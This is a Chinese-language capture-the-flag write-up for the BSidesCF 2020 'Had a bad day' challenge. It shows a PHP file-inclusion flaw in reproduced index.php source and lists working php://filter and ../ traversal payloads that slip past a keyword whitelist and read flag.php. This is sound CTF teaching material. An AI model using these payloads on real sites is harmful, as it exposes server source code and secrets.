[BSidesCF 2020]Had a bad day

首页

 两个按钮,点击是猫和狗的图片

点击狗的时候注意到url,

/index.php?category=woofers

看到这样 ..=..格式的首先想到sql注入和文件包含

先试试注入,单引号直接注

/index.php?category=woofers'

注入报错了,但是又看到了include(),这是文件包含的特征函数, 转而猜测是文件包含

payload:

/index.php?category=flag.php

尝试文件包含读取flag.php

不行,提示我Sorry, we currently only support woofers and meowers. 应该是这里有过滤的规则,要求category必须等于woofers或者meowers

试试读取当前网页的文件index.php,过滤的规则可能就在源码里

php伪协议读取源码

/index.php?category=php://filter/convert.base64-encode/resource=index.php

报错

看报错信息 

Warning: include(php://filter/convert.base64-encode/resource=index.php.php): failed to open stream: operation failed in /var/www/html/index.php on line 37

注意index.php.php,意思是他自动会加上.php,所以我们的.php后缀多余了,去除后缀

/index.php?category=php://filter/convert.base64-encode/resource=index

解码后在里面能找到index.php的源码

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

 以GET方法传入的参数category的参数值需要是woofers,meowers,index三者之一才能包含传入以传入名为文件名的文件

所以我们文件包含指定文件的前提是需要同时传入woofers,meowers,index三者之一

我们想要文件包含flag.php,传入flag就可以了,

即include(flag.'.php');

直接读取flag.php试试

/index.php?category=woofers/../flag

不行

伪协议读取

伪协议可以和woofers同时传入,相当于在woofers上面套一层伪协议衣服

/index.php?category=php://filter/convert.base64-encode/woofers/resource=flag

读出来

base64解码得到flag

知识:

伪造协议传入绕过规则的参数的同时读取flag.php

/index.php?category=php://filter/convert.base64-encode/woofers/resource=flag

/index.php?category=php://filter/convert.base64-encode/index/resource=flag

/index.php?category=php://filter/convert.base64-encode/meowers/resource=flag

也可以这样写

/index.php?category=php://filter/convert.base64-encode/resource=woofers/../flag

/index.php?category=php://filter/convert.base64-encode/resource=index/../flag

/index.php?category=php://filter/convert.base64-encode/resource=meowers/../flag

这样子woofers/../flag的写法相当于直接来到/flag 因为../是回到上一级